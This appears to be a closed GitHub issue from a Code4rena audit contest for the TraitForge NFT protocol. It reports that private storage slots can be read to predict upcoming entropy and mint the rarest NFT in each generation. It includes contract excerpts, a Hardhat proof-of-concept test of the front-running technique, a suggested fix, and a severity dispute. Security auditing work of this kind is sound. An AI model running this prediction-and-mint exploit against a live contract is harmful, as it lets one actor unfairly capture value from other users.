search

code-423n4 / 2024-07-traitforge-validation

1 stars 0 forks source link

Malicious user can carefully craft transaction that will only mint the most valuable NFT (the one with entropy of 999999) within each generation effectively gaming the system #747

Closed c4-bot-10 closed 2 months ago

c4-bot-10 commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/EntropyGenerator/EntropyGenerator.sol#L164-L175

Vulnerability details

Impact

Each generation of NFT have one NFT that will be most valuable. Knowing that there is 10 generation, an attacker can mint the 10 most valuable NFT of the entire TraitForgeNFT collection and game the system. The protocol randomly assign the entropy of 999999 to a slot between 513 and 770 to make it appear only at the end of minting of total generation supply. This golden god value (999999) appearance is said to be totally random by the protocol. There is no way for normal users to see the upcoming NFT entropy, they mint an NFT they don't know anything about. It's only after minting that they can see what they got as seen in _mintInternal() function which mint the token and then calculate it's entropy value and assign it.

function _mintInternal(address to, uint256 mintPrice) internal {
    if (generationMintCounts[currentGeneration] >= maxTokensPerGen) {
      _incrementGeneration();
    }

    _tokenIds++;
    uint256 newItemId = _tokenIds;
    _mint(to, newItemId);
    uint256 entropyValue = entropyGenerator.getNextEntropy();

    tokenCreationTimestamps[newItemId] = block.timestamp;
    tokenEntropy[newItemId] = entropyValue;
    tokenGenerations[newItemId] = currentGeneration;
    generationMintCounts[currentGeneration]++;
    initialOwners[newItemId] = to;

    if (!airdropContract.airdropStarted()) {
      airdropContract.addUserAmount(to, entropyValue);
    }

    emit Minted(
      msg.sender,
      newItemId,
      currentGeneration,
      entropyValue,
      mintPrice
    );

    _distributeFunds(mintPrice);
  }

Furthermore the variables that are checked for in orther to determine the golden god entropy value are made private in an attempt to prevent users from calculating the entropy of non minted tokens so they can game it: see: https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/EntropyGenerator/EntropyGenerator.sol#L12-L13

uint256 private currentSlotIndex = 0;
  uint256 private currentNumberIndex = 0;

And a simple formula is used to calculate the golden god entropy internally ( again internally because the functions are only called internally and are not accessible to external caller). This is the formula:

if (
      slotIndex == slotIndexSelectionPoint &&
      numberIndex == numberIndexSelectionPoint
    ) {
      return 999999;
    }

const { expect } = require('chai'); const { ethers } = require('hardhat');

describe('TraitForgeNFT', () => { let entityForging: EntityForging; let nft: TraitForgeNft; let owner: HardhatEthersSigner; let user1: HardhatEthersSigner; let user2: HardhatEthersSigner; let entityTrading: EntityTrading; let entropyGenerator: EntropyGenerator; let nukeFund: NukeFund; let devFund: DevFund; let merkleInfo: any;

before(async () => { [owner, user1, user2] = await ethers.getSigners(); //const user0 = '0x0000000000000000000000000000000000000000';

// Deploy TraitForgeNft contract
const TraitForgeNft = await ethers.getContractFactory('TraitForgeNft');
nft = (await TraitForgeNft.deploy()) as TraitForgeNft;

// Deploy Airdrop contract
const airdropFactory = await ethers.getContractFactory('Airdrop');
const airdrop = (await airdropFactory.deploy()) as Airdrop;

await nft.setAirdropContract(await airdrop.getAddress());

await airdrop.transferOwnership(await nft.getAddress());

// Deploy EntropyGenerator contract
const EntropyGenerator = await ethers.getContractFactory(
  'EntropyGenerator'
);
entropyGenerator = (await EntropyGenerator.deploy(
  await nft.getAddress()
)) as EntropyGenerator;

await entropyGenerator.writeEntropyBatch1();
await entropyGenerator.writeEntropyBatch2();
await entropyGenerator.writeEntropyBatch3();

await nft.setEntropyGenerator(await entropyGenerator.getAddress());

// Deploy EntityForging contract
const EntityForging = await ethers.getContractFactory('EntityForging');
entityForging = (await EntityForging.deploy(
  await nft.getAddress()
)) as EntityForging;
await nft.setEntityForgingContract(await entityForging.getAddress());

devFund = await ethers.deployContract('DevFund');
await devFund.waitForDeployment();

const NukeFund = await ethers.getContractFactory('NukeFund');

nukeFund = (await NukeFund.deploy(
  await nft.getAddress(),
  await airdrop.getAddress(),
  await devFund.getAddress(),
  owner.address
)) as NukeFund;
await nukeFund.waitForDeployment();

await nft.setNukeFundContract(await nukeFund.getAddress());

entityTrading = await ethers.deployContract('EntityTrading', [
  await nft.getAddress(),
]);

// Set NukeFund address
await entityTrading.setNukeFundAddress(await nukeFund.getAddress());

merkleInfo = generateMerkleTree([
  owner.address,
  user1.address,
  user2.address,
]);

await nft.setRootHash(merkleInfo.rootHash);

});

describe('Attacker gaming the system', () => {

it.only('Attacker only mint the most valuable token with entropy 999999', async () => {
  fastForward(24 * 60 * 60 + 1);

  let i =1;
  const _slotIndexSelectionPoint = await entropyGenerator.slotIndexSelectionPoint();
  const _numberIndexSelectionPoint = await entropyGenerator.numberIndexSelectionPoint();

  // simulate attacker watching mempool for minting transactions (i is tokenIds being minted)
  // Then carefully calculating the next token entropy in order to find the golden god value "999999"
  // Once found he will mint it
  while (i < 10001) {
  await nft.connect(user2).mintToken(merkleInfo.whitelist[1].proof, {
    value: ethers.parseEther('1'),
  });
  // read the storage of the private state variable
  // Note that this is not accessible to the lambda user of protocol
  const _currentSlotIndex = await ethers.provider.getStorage(entropyGenerator.getAddress(), 772);

  const _currentNumberIndex = await ethers.provider.getStorage(entropyGenerator.getAddress(), 773);

  // calculate next token entropy
  // once found exit the mempool watching and mint the next token by any mean
  const _entropy = await entropyGenerator.getPublicEntropy(Number(_currentSlotIndex), Number(_currentNumberIndex));
  if(Number(_entropy) == 999999) {
    console.log("Found after minting of id: ", i);
    i++;
    break;
  }
  i++;
}

// mint the most valuable NFT
await nft.connect(user1).mintToken(merkleInfo.whitelist[1].proof, {
  value: ethers.parseEther('1'),
});
console.log("current token id  minted is:", i);
const _curEntropy = await nft.getTokenEntropy(i);
console.log(`entropy of token minted by attacker with id ${i}:`,Number(_curEntropy));

});

}); });



Then run the test with: ```yarn test test/TraitForgeNft.test.ts```

## Tools Used
Manual review

## Recommended Mitigation Steps
If the goal of the protocol is to be fair to all users then use chainlink VRF to get the number 999999 if possible. This number should have an even chance of appearing once between slot 257 and 770. Once the number is returned , record it and mint the golden NFT, then discard it's future appearance for the rest of the slots.

## Assessed type

MEV
quentin-abei commented 2 months ago

Hello @koolexcrypto , I believe you should take a look at this one because even if it is a design decision , the information is being hidden from the lambda user ( There is no function inside the contract to call in order to see what is coming next ) . So an attacker can get an edge and mint only golden god nft per gen . At the end of max generation he will own every possible golden god NFT . This is catastrophic because it put power inside a single user hands , he will then be free to game the system .

koolexcrypto commented 1 month ago

Thank you for your feedback.

Since it is intended design and the it doesn't lead to a significant risk, it remain invalid or at most QA.

quentin-abei commented 1 month ago

Hello , @koolexcrypto after re-reading this report I believe it’s a medium because of the following:

The final goal of randomness in this game is to create a mint race between players . Smart contract is written in a way that is trying to hide the upcoming nft to the user . User does not know what he will mint before minting. So all users are bling minting. The issue here arise when a malicious user can craft his transaction by breaking the protocol and seeing what is coming next while others don’t . This he can freely mint best nfts as he wish and kidnap all the best value nft of the game .

impact : In real world there is a game concept called P2W ( Pay to win ) it’s game in which to win players should pay their weapons …. What happens with those games is F2P ( Free to play ) gamers eventuall leave the game when the discover the P2W mechanism and long term impact is the game will go dead . There are a lot of example of those games out there . In our case here , when legit user will see that only one wallet is minting golden god entropy nft for each generation , they will just stop minting nft in the game because they know they are being outplayed .

Because this make the game unfair to other users , and put all the golden god entropy nft in one single malicious user wallet , I believe this is of a medium severity . Let me know what you think